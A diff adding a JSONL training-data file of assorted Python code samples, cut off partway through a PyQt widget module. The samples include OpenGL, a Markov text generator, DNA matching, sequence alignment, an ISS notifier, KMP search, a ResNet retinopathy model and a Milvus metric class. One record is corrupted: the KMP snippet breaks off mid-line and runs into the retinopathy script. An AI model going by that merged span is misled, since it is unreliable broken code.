diff --git "a/6607.jsonl" "b/6607.jsonl" new file mode 100644--- /dev/null +++ "b/6607.jsonl" @@ -0,0 +1,740 @@ +{"seq_id":"271049518","text":"from OpenGL.GLU import *\nfrom OpenGL.GL import *\n\nfrom view_object import ViewObject\n\nclass BallView(ViewObject):\n \n def __init__(self, game_object):\n super(BallView, self).__init__(game_object)\n self.quadric = gluNewQuadric()\n \n def get_color(self):\n if self.game_object.get_property('highlight_color') and self.game_object.highlight:\n return self.game_object.get_property('highlight_color')\n \n return self.game_object.color\n \n def draw(self):\n glEnable(GL_TEXTURE_2D)\n glColor(*self.get_color())\n gluSphere(self.quadric , .5 , 36 , 18)\n glDisable(GL_TEXTURE_2D)\n","sub_path":"Cade's Game Executable/ball_view.py","file_name":"ball_view.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"543553834","text":"from random import choice\nfrom sys import argv\n\nsample = open(argv[1])\nseq = {None:[]}\n\nfor sentence in sample:\n\twords = sentence.split(' ')\n\tif len(words) < 2:\n\t\tcontinue\n\tfor count, word in enumerate(words):\n\t\tif count == 0:\n\t\t\tseq[None] += [word]\n\t\tif word not in seq.keys():\n\t\t\tseq[word] = []\n\t\tif count == len(words) - 1:\n\t\t\tseq[word] += [None]\n\t\telse:\n\t\t\tseq[word] += [words[count+1]]\n\nprint('\\n')\nfor i in range(int(argv[2])):\n\tword = None\n\tsentence = ''\n\twhile True:\n\t\tword = choice(seq[word])\n\t\tif word == None:\n\t\t\tbreak\n\t\telse:\n\t\t\tsentence += word + ' '\n\tprint(sentence)\n\nsample.close()","sub_path":"sentencegen0.py","file_name":"sentencegen0.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"186779905","text":"import AVFoundation\nfrom PyObjCTools.TestSupport import TestCase, min_os_level\n\n\nclass TestAVComposition(TestCase):\n @min_os_level(\"10.7\")\n def testMethods(self):\n self.assertResultIsBOOL(\n AVFoundation.AVMutableComposition.insertTimeRange_ofAsset_atTime_error_\n )\n self.assertArgIsOut(\n AVFoundation.AVMutableComposition.insertTimeRange_ofAsset_atTime_error_, 3\n )\n","sub_path":"pyobjc-framework-AVFoundation/PyObjCTest/test_avcomposition.py","file_name":"test_avcomposition.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"42390302","text":"import csv\nimport re\nfrom sys import argv\n\ndef main():\n if len(argv) < 2:\n print(\"Usage: python dna.py data.csv sequence.txt\")\n return 1\n else:\n dbfilename = argv[1]\n seqfilename = argv[2]\n\n # Open the database and sequence files\n dbfile = open(dbfilename, \"r\")\n seqfile = open(seqfilename, \"r\")\n dbreader = csv.reader(dbfile)\n dnaseq = seqfile.read()\n\n rows_read = 0\n for row in dbreader:\n if rows_read == 0:\n # strsegments = [row[1], row[2], row[3]]\n strsegments = row[1:]\n stats = strstats(dnaseq, strsegments)\n print(stats)\n rows_read += 1\n else:\n # print(range(len(strsegments)))\n for i in range(len(strsegments)):\n # print(\"Cycling through \" + row[0] + \" STRs\")\n if (row[0] == \"Lavender\"):\n print(row[0] + \"'s \" + row[1:][i] + \" reps.\")\n print(\"Sequence reps: \" + str(stats[strsegments[i]]))\n if (stats[strsegments[i]] == int(row[1:][i])):\n print(\"Matched \" + strsegments[i] + \" segment for \" + row[0])\n match = True\n else:\n match = False\n break\n\n if match:\n print(row[0])\n dbfile.close()\n seqfile.close()\n return 0\n\n dbfile.close()\n seqfile.close()\n\n print(\"No match\")\n return 0\n\n\ndef longest_str_rep(sequence, strsegment):\n pattern = re.compile(\"(\" + strsegment + \"){1,}\")\n sresult = pattern.search(sequence)\n span = None\n\n print(pattern.pattern)\n\n while sresult:\n span = sresult.span()\n reps = (span[1] - span[0]) / len(strsegment)\n pattern = re.compile(\"(\" + strsegment + \"){\" + str(reps + 1) + \",}\")\n print(pattern.pattern)\n sresult = pattern.search(sequence)\n\n if span == None:\n return 0\n else:\n return reps\n\n\ndef strstats(dnaseq, strsegments):\n strstats = dict()\n\n for segment in strsegments:\n strstats[segment] = longest_str_rep(dnaseq, segment)\n\n return strstats\n\n\nmain()\n","sub_path":"problem_sets/problem_set_6/dna/dna.py","file_name":"dna.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"250326978","text":"import warnings\n\nfrom cogent3 import make_tree\nfrom cogent3.align import (\n global_pairwise,\n make_dna_scoring_dict,\n make_generic_scoring_dict,\n)\nfrom cogent3.align.progressive import TreeAlign\nfrom cogent3.app import dist\nfrom cogent3.core.moltype import get_moltype\nfrom cogent3.evolve.models import get_model\n\nfrom .composable import (\n ALIGNED_TYPE,\n SEQUENCE_TYPE,\n SERIALISABLE_TYPE,\n ComposableSeq,\n NotCompleted,\n)\nfrom .tree import quick_tree, scale_branches\n\n\n__author__ = \"Gavin Huttley\"\n__copyright__ = \"Copyright 2007-2020, The Cogent Project\"\n__credits__ = [\"Gavin Huttley\"]\n__license__ = \"BSD-3\"\n__version__ = \"2020.2.7a\"\n__maintainer__ = \"Gavin Huttley\"\n__email__ = \"Gavin.Huttley@anu.edu.au\"\n__status__ = \"Alpha\"\n\n\nclass _GapInRef:\n \"\"\"assumes first element of series is reference, returns True if that matches\n gap_state\"\"\"\n\n def __init__(self, moltype, gap):\n self.gap_state = moltype.alphabet.to_indices(gap)[0]\n self.func = self._ref_gap if gap == \"-\" else self._array_ref_gap\n\n def _ref_gap(self, x):\n return x[0] != self.gap_state\n\n def _array_ref_gap(self, x):\n return x.flatten()[0] != self.gap_state\n\n def __call__(self, x):\n return self.func(x)\n\n\nclass align_to_ref(ComposableSeq):\n \"\"\"Aligns to a reference seq, no gaps in the reference.\n Returns an Alignment object.\"\"\"\n\n _input_types = SEQUENCE_TYPE\n _output_types = (ALIGNED_TYPE, SERIALISABLE_TYPE)\n _data_types = \"SequenceCollection\"\n\n def __init__(\n self,\n ref_seq=\"longest\",\n score_matrix=None,\n insertion_penalty=20,\n extension_penalty=2,\n moltype=\"dna\",\n ):\n \"\"\"\n Parameters\n ----------\n ref_seq : str\n either a name to be found in the data, or 'longest'.\n If latter, the longest sequence will be chosen as the reference\n score_matrix\n scoring dict for DNA, defaults to `make_dna_scoring_dict(10, -1, -8)`\n insertion_penalty\n penalty for gap insertion\n extension_penalty\n penalty for gap extension\n moltype : str\n molecular type\n \"\"\"\n super(align_to_ref, self).__init__(\n input_types=self._input_types,\n output_types=self._output_types,\n data_types=self._data_types,\n )\n self._formatted_params()\n assert moltype\n moltype = get_moltype(moltype)\n self._moltype = moltype\n S = score_matrix or (\n make_dna_scoring_dict(10, -1, -8)\n if self._moltype.label == \"dna\"\n else make_generic_scoring_dict(10, self._moltype)\n )\n self._kwargs = dict(\n S=S, d=insertion_penalty, e=extension_penalty, return_score=False\n )\n if ref_seq.lower() == \"longest\":\n self.func = self.align_to_longest\n else:\n self.func = self.align_to_named_seq\n self._ref_name = ref_seq\n\n self._gap_state = None # can be character or int, depends on aligner\n\n def align_to_longest(self, seqs):\n \"\"\"returns alignment to longest seq\"\"\"\n if self._moltype and self._moltype != seqs.moltype:\n seqs = seqs.to_moltype(self._moltype)\n\n lengths = seqs.get_lengths()\n lengths = [(l, n) for n, l in lengths.items()]\n _, ref_seq_name = max(lengths)\n self._ref_name = ref_seq_name\n return self.align_to_named_seq(seqs)\n\n def align_to_named_seq(self, seqs):\n \"\"\"returns alignment to named seq\"\"\"\n if self._moltype and self._moltype != seqs.moltype:\n seqs = seqs.to_moltype(self._moltype)\n\n ref_seq = seqs.get_seq(self._ref_name)\n aligned = None\n kwargs = self._kwargs.copy()\n no_ref_gap = None\n\n for i in range(seqs.num_seqs):\n seq = seqs.seqs[i]\n if seq.name == self._ref_name:\n continue\n\n result = global_pairwise(ref_seq, seq, **kwargs)\n if no_ref_gap is None:\n no_ref_gap = _GapInRef(result.moltype, seqs.moltype.gap)\n\n # as we're going to be using a pairwise distance that excludes gaps\n # eliminating positions with deletions in the reference\n result = result.filtered(no_ref_gap)\n if aligned is None:\n aligned = result\n continue\n\n aligned = aligned.add_from_ref_aln(result)\n\n # default to ArrayAlign\n new = aligned.to_type(array_align=True)\n return new\n\n\nclass progressive_align(ComposableSeq):\n \"\"\"Progressive multiple sequence alignment via any cogent3 model.\n Returns an Alignment object.\"\"\"\n\n _input_types = SEQUENCE_TYPE\n _output_types = (ALIGNED_TYPE, SERIALISABLE_TYPE)\n _data_types = \"SequenceCollection\"\n\n def __init__(\n self,\n model,\n gc=None,\n param_vals=None,\n guide_tree=None,\n unique_guides=False,\n indel_length=1e-1,\n indel_rate=1e-10,\n distance=\"percent\",\n ):\n \"\"\"\n Parameters\n ----------\n model\n substitution model instance or name. If 'codon'\n (uses MG94HKY), 'nucleotide' (uses HKY85), 'protein'\n (uses WG01). These choices provide also provide default\n settings for param_vals.\n gc : int or string\n the genetic code for a codon alignment, defaults to the standard\n genetic code\n param_vals : dict\n param name, values for parameters in model. Overrides\n default choices.\n guide_tree\n newick string, tree instance (must have branch lengths), or a\n callable that will build a tree from unaligned collection. If not\n provided, estimated ONCE via constructing a crude alignment. In the\n case of callable, or not provided, the computed guide tree is stored\n in the returned alignment.info['guide_tree'].\n unique_guides : bool\n whether each alignment requires a new guide tree\n indel_rate : float\n probability of gap insertion\n indel_length : float\n probability of gap extension\n distance : string\n the distance measure for building a guide tree. Default is 'percent',\n the proportion of differences. This is applicable for any moltype,\n and sequences with very high percent identity. For more diverged\n sequences we recommend 'paralinear'.\n \"\"\"\n super(progressive_align, self).__init__(\n input_types=self._input_types,\n output_types=self._output_types,\n data_types=self._data_types,\n )\n\n self._param_vals = {\n \"codon\": dict(omega=0.4, kappa=3),\n \"nucleotide\": dict(kappa=3),\n }.get(model, param_vals)\n sm = {\"codon\": \"MG94HKY\", \"nucleotide\": \"HKY85\", \"protein\": \"JTT92\"}.get(\n model, model\n )\n self._formatted_params()\n kwargs = {} if gc is None else dict(gc=gc)\n sm = get_model(sm, **kwargs)\n moltype = sm.alphabet.moltype\n self._model = sm\n self._scalar = sm.word_length\n self._indel_length = indel_length\n self._indel_rate = indel_rate\n self._moltype = moltype\n self._unique_guides = unique_guides\n self._distance = distance\n if callable(guide_tree):\n self._make_tree = guide_tree\n guide_tree = None # callback takes precedence\n else:\n al_to_ref = align_to_ref(moltype=self._moltype)\n dist_calc = dist.fast_slow_dist(\n distance=self._distance, moltype=self._moltype\n )\n est_tree = quick_tree()\n self._make_tree = al_to_ref + dist_calc + est_tree\n\n if guide_tree is not None:\n if type(guide_tree) == str:\n guide_tree = make_tree(treestring=guide_tree, underscore_unmunge=True)\n if guide_tree.children[0].length is None:\n raise ValueError(\"Guide tree must have branch lengths\")\n # make sure no zero lengths\n guide_tree = scale_branches()(guide_tree)\n\n self._guide_tree = guide_tree\n self._kwargs = dict(\n indel_length=self._indel_length,\n indel_rate=self._indel_rate,\n tree=self._guide_tree,\n param_vals=self._param_vals,\n show_progress=False,\n )\n\n self.func = self.multiple_align\n\n def _build_guide(self, seqs):\n crude_aligner = align_to_ref(moltype=self._moltype)\n aln = crude_aligner(seqs)\n tree = self._make_tree(aln)\n if self._scalar != 1:\n scaler = scale_branches(scalar=self._scalar)\n tree = scaler(tree)\n return tree\n\n def multiple_align(self, seqs):\n if self._moltype and self._moltype != seqs.moltype:\n seqs = seqs.to_moltype(self._moltype)\n\n if self._guide_tree is None or self._unique_guides:\n self._guide_tree = self._build_guide(seqs)\n self._kwargs[\"tree\"] = self._guide_tree\n diff = set(self._guide_tree.get_tip_names()) ^ set(seqs.names)\n if diff:\n numtips = len(set(self._guide_tree.get_tip_names()))\n print(f\"numseqs={len(seqs.names)} not equal \" f\"to numtips={numtips}\")\n print(f\"These were different: {diff}\")\n seqs = seqs.take_seqs(self._guide_tree.get_tip_names())\n\n kwargs = self._kwargs.copy()\n\n with warnings.catch_warnings(record=False):\n warnings.simplefilter(\"ignore\")\n try:\n result, tree = TreeAlign(self._model, seqs, **kwargs)\n if self._moltype and self._moltype != result.moltype:\n result = result.to_moltype(self._moltype)\n\n result.info.update(seqs.info)\n except ValueError as err:\n # probably an internal stop\n result = NotCompleted(\"ERROR\", self, err.args[0], source=seqs)\n return result\n return result\n","sub_path":"src/cogent3/app/align.py","file_name":"align.py","file_ext":"py","file_size_in_byte":10177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"11298385","text":"import requests\nfrom datetime import datetime\n\nMY_LAT = 26.261020 # Your latitude\nMY_LONG = -80.084720 # Your longitude\nUTC_OFFSET = -5\n\ndef is_iss_overhead():\n response = requests.get(url=\"http://api.open-notify.org/iss-now.json\")\n response.raise_for_status()\n data = response.json()\n\n iss_latitude = float(data[\"iss_position\"][\"latitude\"])\n iss_longitude = float(data[\"iss_position\"][\"longitude\"])\n\n #Your position is within +5 or -5 degrees of the ISS position.\n\n if (MY_LAT - 5) <= iss_latitude <= (MY_LAT +5) and (MY_LONG - 5) <= iss_latitude <= (MY_LONG +5):\n return True\n\n\ndef is_night():\n parameters = {\n \"lat\": MY_LAT,\n \"lng\": MY_LONG,\n \"formatted\": 0,\n }\n response = requests.get(\"https://api.sunrise-sunset.org/json\", params=parameters)\n response.raise_for_status()\n data = response.json()\n sunrise = int(data[\"results\"][\"sunrise\"].split(\"T\")[1].split(\":\")[0]) + UTC_OFFSET\n sunset = int(data[\"results\"][\"sunset\"].split(\"T\")[1].split(\":\")[0]) + UTC_OFFSET\n\n time_now = datetime.now().hour\n\n if time_now >= sunset or time_now <= sunrise:\n return True\n\nif is_iss_overhead() and is_night():\n print(\"look up!\")\n\n\n\n\n\n\n","sub_path":"d33-iss_notifier/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"357208533","text":"text = input()\r\npat = input()\r\nps = [0]\r\nj,i = 0,1\r\nwhile i< len(pat):\r\n if pat[i]==pat[j]:\r\n ps.append(j+1)\r\n j+=1\r\n i+=1\r\n elif j==0:\r\n ps.append(0)\r\n i+=1\r\n else:\r\n j = ps[j-1]\r\npp= pt = 0\r\nwhile ptbatch_size #ki: originally set to 2\n parse_record_fn=parse_record,\n num_epochs=num_epochs,\n num_gpus=num_gpus,\n examples_per_epoch=_NUM_IMAGES['train'] if is_training else None\n )\n\n\ndef get_synth_input_fn():\n return resnet_run_loop.get_synth_input_fn(\n _HEIGHT, _WIDTH, _NUM_CHANNELS, _NUM_CLASSES)\n\ndef _get_block_sizes(resnet_size):\n \"\"\"Retrieve the size of each block_layer in the ResNet model.\n\n The number of block layers used for the Resnet model varies according\n to the size of the model. This helper grabs the layer set we want, throwing\n an error if a non-standard size has been selected.\n\n Args:\n resnet_size: The number of convolutional layers needed in the model.\n\n Returns:\n A list of block sizes to use in building the model.\n\n Raises:\n KeyError: if invalid resnet_size is received.\n \"\"\"\n choices = {\n 18: [2, 2, 2, 2],\n 34: [3, 4, 6, 3],\n 50: [3, 4, 6, 3],\n 101: [3, 4, 23, 3],\n 152: [3, 8, 36, 3],\n 200: [3, 24, 36, 3]\n }\n\n try:\n return choices[resnet_size]\n except KeyError:\n err = ('Could not find layers for selected Resnet size.\\n'\n 'Size received: {}; sizes allowed: {}.'.format(\n resnet_size, choices.keys()))\n raise ValueError(err)\n\n###############################################################################\n# Running the model\n###############################################################################\nclass retinopathyModel(resnet_model.Model):\n \"\"\"Model class with appropriate defaults for retinopathy data.\"\"\"\n\n def __init__(self, resnet_size, data_format='channels_last', num_classes=_NUM_CLASSES,\n resnet_version=resnet_model.DEFAULT_VERSION,\n dtype=resnet_model.DEFAULT_DTYPE):\n \"\"\"These are the parameters that work for retinopathy data.\n\n Args:\n resnet_size: The number of convolutional layers needed in the model.\n data_format: Either 'channels_first' or 'channels_last', specifying which\n data format to use when setting up the model.\n num_classes: The number of output classes needed from the model. This\n enables users to extend the same model to their own datasets.\n resnet_version: Integer representing which version of the ResNet network\n to use. See README for details. Valid values: [1, 2]\n dtype: The TensorFlow dtype to use for calculations.\n\n Raises:\n ValueError: if invalid resnet_size is chosen\n \"\"\"\n #if resnet_size % 6 != 2:\n # raise ValueError('resnet_size must be 6n + 2:', resnet_size)\n\n bottleneck = True\n final_size = 2048\n\n super(retinopathyModel, self).__init__(\n resnet_size=resnet_size,\n bottleneck=bottleneck,\n num_classes=num_classes,\n num_filters=64,\n kernel_size=7,\n conv_stride=2,\n first_pool_size=3,\n first_pool_stride=2,\n block_sizes=_get_block_sizes(resnet_size),\n block_strides=[1, 2, 2, 2],\n final_size=final_size,\n resnet_version=resnet_version,\n data_format=data_format,\n dtype=dtype\n )\n\n\ndef retinopathy_model_fn(features, labels, mode, params): #ki: prepares the model to be used in resnet_run_loop.resnet_main\n \"\"\"Model function for retinopathy.\"\"\"\n features = tf.reshape(features, [-1, _HEIGHT, _WIDTH, _NUM_CHANNELS])\n\n learning_rate_fn = resnet_run_loop.learning_rate_with_decay(\n batch_size=params['batch_size'], batch_denom=params['batch_size'],\n num_images=_NUM_IMAGES['train'], boundary_epochs=[30, 60, 80],\n decay_rates=[1.0, 0.1, 0.01, 0.001])\n\n # We use a weight decay of 0.0001\n weight_decay = 0.0001\n\n def loss_filter_fn(_):\n return True\n\n return resnet_run_loop.resnet_model_fn(\n features=features,\n labels=labels,\n mode=mode,\n model_class=retinopathyModel,\n resnet_size=params['resnet_size'],\n weight_decay=weight_decay,\n learning_rate_fn=learning_rate_fn,\n momentum=0.9,\n data_format=params['data_format'],\n resnet_version=params['resnet_version'],\n loss_scale=params['loss_scale'],\n loss_filter_fn=loss_filter_fn,\n dtype=params['dtype']\n )\n\n\ndef define_retinopathy_flags(batch_size=16, train_epochs=10, \n num_gpus=None, epochs_between_evals=2):\n resnet_run_loop.define_resnet_flags()\n print(\"[DEBUG] resnet_flags set\")\n flags.adopt_module_key_flags(resnet_run_loop)\n print(\"[DEBUG] adopt module key flags from resnet_run_loop\")\n #flags_core.set_defaults(data_dir='./records/',\n #model_dir='./retinopathy_model/',\n #resnet_size='50',\n #train_epochs=10,\n #epochs_between_evals=5,\n #batch_size=1,\n #export_dir='./retinopathy_serve/')\n flags_core.set_defaults(benchmark_log_dir=cfg.Retina_LocalModels) #vk: log_dir same as model_dir\n print(\"[DEBUG] core.set_defaults\")\n flags_core.set_defaults(data_dir=cfg.Retina_LocalDataRecords,\n model_dir=cfg.Retina_LocalModels,\n resnet_size='50',\n train_epochs=train_epochs, #10\n epochs_between_evals=epochs_between_evals, #vk: 1,5 -> configirable\n batch_size=batch_size,\n num_gpus=num_gpus,\n export_dir=cfg.Retina_LocalModelsServe,\n benchmark_logger_type='BenchmarkFileLogger') #vk: create log files\n\n\n\ndef run_retinopathy(flags_obj):\n \"\"\"Run ResNet retinopathy training and eval loop.\n\n Args:\n flags_obj: An object containing parsed flag values.\n \"\"\"\n graph_zip_path = None\n\n # verify that set flags are stored correctly in FLAGS. Can be removed #vk\n check_flags_obj = False\n if check_flags_obj:\n for key in flags_obj.flag_values_dict():\n print(\"{} : {}\".format(key, flags_obj[key].value))\n \n # comment it out, as it opts synth dataset #vk\n #input_function = (flags_obj.use_synthetic_data and get_synth_input_fn()\n # or input_fn) \n input_function = (input_fn)\n graph_zip_path = resnet_run_loop.resnet_main(\n flags_obj, retinopathy_model_fn, \n input_function, DATASET_NAME,\n shape=[_HEIGHT, _WIDTH, _NUM_CHANNELS])\n\n print(graph_zip_path) # needed to pass this to model.py (??) #vk\n return graph_zip_path\n\n\ndef main(_):\n with logger.benchmark_context(flags.FLAGS):\n run_retinopathy(flags.FLAGS)\n\nif __name__ == '__main__':\n tf.logging.set_verbosity(tf.logging.INFO)\n define_retinopathy_flags()\n absl_app.run(main)\n\n","sub_path":"retinopathy_test/models/retinopathy_main.py","file_name":"retinopathy_main.py","file_ext":"py","file_size_in_byte":11371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"644952355","text":"import time\nimport datetime\nimport json\nimport hashlib\nfrom .env import Env\nfrom .server import Server\nfrom .hardware import Hardware\n\n\nclass Metric(object):\n \"\"\"\n A template for reporting data:\n\n {\n \"_id\" : ObjectId(\"6126865855aba6fb8e742f05\"),\n \"_version\" : \"0.1\",\n \"_type\" : \"case\",\n \"run_id\" : NumberInt(1629914593),\n \"mode\" : \"local\",\n \"server\" : {\n \"id\" : ObjectId(\"6126865855aba6fb8e742f04\"),\n \"value\" : {\n \"_version\" : \"0.1\",\n \"_type\" : \"server\",\n \"version\" : \"2.0.0-RC5\",\n \"mode\" : \"single\",\n \"build_commit\" : null,\n \"deploy_opology\" : {\n \"server\" : {\n \"server_tag\" : \"8c16m\"\n },\n \"milvus\" : {\n \"deploy_mode\" : \"single\"\n }\n }\n }\n },\n \"hardware\" : {\n \"id\" : ObjectId(\"60f078c5d8aad7192f9baf80\"),\n \"value\" : {\n \"_version\" : \"0.1\",\n \"_type\" : \"hardware\",\n \"name\" : \"server_tag\",\n \"cpus\" : 0.0\n }\n },\n \"env\" : {\n \"id\" : ObjectId(\"604b54df90fbee981a6ed81d\"),\n \"value\" : {\n \"_version\" : \"0.1\",\n \"_type\" : \"env\",\n \"server_config\" : null,\n \"OMP_NUM_THREADS\" : null\n }\n },\n \"status\" : \"RUN_SUCC\",\n \"err_message\" : \"\",\n \"collection\" : {\n \"dimension\" : NumberInt(128),\n \"metric_type\" : \"l2\",\n \"dataset_name\" : \"sift_128_euclidean\"\n },\n \"index\" : {\n \"index_type\" : \"ivf_sq8\",\n \"index_param\" : {\n \"nlist\" : NumberInt(1024)\n }\n },\n \"search\" : {\n \"nq\" : NumberInt(10000),\n \"topk\" : NumberInt(10),\n \"search_param\" : {\n \"nprobe\" : NumberInt(1)\n },\n \"filter\" : [\n\n ]\n },\n \"run_params\" : null,\n \"metrics\" : {\n \"type\" : \"ann_accuracy\",\n \"value\" : {\n \"acc\" : 0.377\n }\n },\n \"datetime\" : \"2021-08-25 18:03:13.820593\",\n \"type\" : \"metric\"\n }\n \"\"\"\n def __init__(self):\n self._version = '0.1'\n self._type = 'metric'\n self.run_id = None\n self.mode = None\n self.server = Server()\n self.hardware = Hardware()\n self.env = Env()\n self.status = \"INIT\"\n self.err_message = \"\"\n self.collection = {}\n self.index = {}\n self.search = {}\n self.run_params = {}\n self.metrics = {\n \"type\": \"\",\n \"value\": None,\n }\n self.datetime = str(datetime.datetime.now())\n\n def set_run_id(self):\n self.run_id = int(time.time())\n\n def set_mode(self, mode):\n self.mode = mode\n\n # including: metric, suite_metric\n def set_case_metric_type(self):\n self._type = \"case\"\n\n def json_md5(self):\n json_str = json.dumps(vars(self), sort_keys=True)\n return hashlib.md5(json_str.encode('utf-8')).hexdigest()\n\n def update_status(self, status):\n self.status = status\n\n def update_result(self, result):\n self.metrics[\"value\"].update(result)\n\n def update_message(self, err_message):\n self.err_message = err_message","sub_path":"tests-deprecating/milvus_benchmark/milvus_benchmark/metrics/models/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"170124793","text":"if __name__ == '__main__':\n import sys\n sys.path.append('..')\n\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom model import Portfolio\nimport sip\n\nclass SpreadWidget(QWidget):\n def __init__(self, parent=None):\n super().__init__(parent)\n self.layout = QVBoxLayout()\n\n self.fold_animation = QPropertyAnimation(self, QByteArray(b'maximumHeight'))\n self.spread_animation = QPropertyAnimation(self, QByteArray(b'maximumHeight'))\n self.maximum_height = 2000 \n\n self._init_signal_binding()\n self._set_prop()\n self.set_widget_prop()\n self.set_layout_prop()\n self.setLayout(self.layout)\n\n def paintEvent(self, event):\n option = QStyleOption()\n option.initFrom(self)\n painter = QPainter(self)\n style = self.style()\n style.drawPrimitive(QStyle.PE_Widget, option, painter, self)\n\n def _init_signal_binding(self):\n self.spread_animation.finished.connect(self.show)\n self.fold_animation.finished.connect(self.hide)\n\n def _set_prop(self):\n self.fold_animation.setDuration(300)\n self.fold_animation.setStartValue(self.maximum_height)\n self.fold_animation.setEndValue(0)\n\n self.spread_animation.setDuration(300)\n self.spread_animation.setStartValue(0)\n self.spread_animation.setEndValue(self.maximum_height)\n\n def fold_spread_with_animation(self):\n\n if self.fold_animation.state() == QAbstractAnimation.Running:\n self.fold_animation.stop()\n\n self.spread_animation.setStartValue(self.height())\n self.spread_animation.start()\n return\n\n if self.isVisible(): # hide the widget\n if self.spread_animation.state() == QAbstractAnimation.Running:\n self.spread_animation.stop()\n self.fold_animation.setStartValue(self.height())\n else:\n self.fold_animation.setStartValue(self.maximum_height)\n self.fold_animation.start()\n else:\n self.spread_animation.setStartValue(0)\n self.show()\n\n def showEvent(self, event):\n self.spread_animation.start()\n\n def hideEvent(self, event):\n self.parent().update()\n\n def set_widget_prop(self):\n self.setContextMenuPolicy(Qt.CustomContextMenu)\n\n def set_layout_prop(self):\n self.layout.setContentsMargins(0, 0, 0, 0)\n self.layout.setSpacing(0)\n\n self.layout.addStretch(1)\n\n def empty_layout(self):\n # print('empty layout')\n while self.layout.takeAt(0):\n item = self.layout.takeAt(0)\n del item\n \nclass _BaseItem(QFrame):\n \"\"\" \"\"\"\n\n signal_text_btn_clicked = pyqtSignal()\n\n active_item = []\n items = []\n\n active_qss = \"\"\"\n QFrame#stockset_container {\n border-top: 0px;\n border-bottom: 0px;\n padding-left: 11px;\n border-left:4px solid #993333;\n background-color: #fff0c4;\n }\n QFrame#stockset_container:focus {\n background-color: #fff0c4;\n }\n \"\"\"\n normal_qss = \"\"\"\n QFrame#stockset_container {\n border-top: 0px;\n border-bottom: 0px;\n padding-left: 15px;\n border: 0px solid #993333;\n }\n QFrame#stockset_container:focus {\n background-color: #fff0c4;\n }\n QFrame#stockset_container:hover{\n background-color: #fff0c4;\n }\n \"\"\"\n\n def __init__(self, parent=None):\n super().__init__(parent)\n self._icon_label = QLabel(self)\n self._text_btn = QPushButton(self)\n self._layout = QHBoxLayout(self)\n self.setLayout(self._layout)\n\n self._icon_width = 16\n self._whole_width = 150\n self._whole_height = 25\n\n self._icon_label.setFixedSize(self._icon_width, self._icon_width)\n self.setFixedSize(self._whole_width, self._whole_height)\n self._text_btn.setFixedSize(self._whole_width-self._icon_width-10,\n self._whole_height)\n\n self._layout.setContentsMargins(0, 0, 0, 0)\n self._layout.setSpacing(0)\n self._layout.addWidget(self._icon_label)\n self._layout.addSpacing(10)\n self._layout.addWidget(self._text_btn)\n\n self._text_btn.clicked.connect(self.on_text_btn_clicked)\n self._text_btn.setObjectName('stockset_name') # in order to apply css\n self.setFocusPolicy(Qt.StrongFocus)\n self.setObjectName('stockset_container')\n self.setStyleSheet(self.normal_qss)\n\n _BaseItem.items.append(self)\n\n @classmethod\n def set_active(cls, w):\n \"\"\"\n \"\"\"\n if len(cls.active_item) != 0:\n if w is cls.active_item[0]: # \n return False\n cls.active_item[0].setStyleSheet(cls.normal_qss)\n cls.active_item.pop()\n w.setStyleSheet(cls.active_qss)\n cls.active_item.append(w)\n return True\n\n @classmethod\n def de_active_all(cls):\n for item in cls.active_item:\n item.setStyleSheet(cls.normal_qss)\n cls.active_item.remove(item)\n\n def focus_next(self):\n index = self.items.index(self)\n if index == len(self.items) - 1:\n next_index = 0\n else:\n next_index = index + 1\n self.items[next_index].setFocus()\n\n def focus_previous(self):\n index = self.items.index(self)\n if index == 0:\n pre_index = len(self.items) - 1\n else:\n pre_index = index - 1\n self.items[pre_index].setFocus()\n\n @pyqtSlot()\n def on_text_btn_clicked(self):\n self.setFocus()\n if _BaseItem.set_active(self):\n self.signal_text_btn_clicked.emit()\n\n def set_btn_text(self, text):\n self._text_btn.setText(text)\n\n def set_icon_pixmap(self, pixmap):\n self._icon_label.setPixmap(pixmap)\n\n def _bind_select_shortcut(self, event):\n key_code = event.key()\n if key_code == Qt.Key_J:\n self.focus_next()\n elif key_code == Qt.Key_K:\n self.focus_previous()\n # elif key_code in (Qt.Key_Enter, Qt.Key_Return):\n # self.on_text_btn_clicked()\n\n def _ensure_visible(self):\n '''hack'''\n scrollarea = self.parent().parent().parent().parent()\n y = self.y()\n height = self.height()\n p_y = self.parent().y()\n p_p_y = self.parent().parent().y()\n # scrollarea central widget's height\n p_p_p_height = self.parent().parent().parent().height()\n\n dis = (p_p_p_height + p_p_y) - (y + p_y + height)\n if dis - 20 <= 0:\n scrollarea.verticalScrollBar().setValue(-dis)\n else:\n scrollarea.verticalScrollBar().setValue(0)\n\n def keyPressEvent(self, event):\n self._bind_select_shortcut(event)\n\n def focusInEvent(self, event):\n super().focusInEvent(event)\n self._ensure_visible()\n\n\nclass StockItem(_BaseItem):\n signal_text_btn_clicked = pyqtSignal([str], name='text_btn_clicked')\n\n def __init__(self, parent=None):\n super().__init__(parent)\n\n self.data = None\n\n @pyqtSlot()\n def on_text_btn_clicked(self):\n self.setFocus()\n if StockItem.set_active(self):\n self.signal_text_btn_clicked.emit(self.data.id)\n\n def set_stock_item(self, stock):\n self.data = stock\n self._icon_label.setObjectName('stock_img')\n metrics = QFontMetrics(self._text_btn.font())\n floating = (stock.price / stock.preclose - 1) * 100\n floating = '+' + str(floating)[:4] if floating > 0 else str(floating)[:5]\n s = stock.sname + ' ' + floating + '% '\n text = metrics.elidedText(s, Qt.ElideRight, self._text_btn.width())\n self._text_btn.setText(s)\n\n\nclass 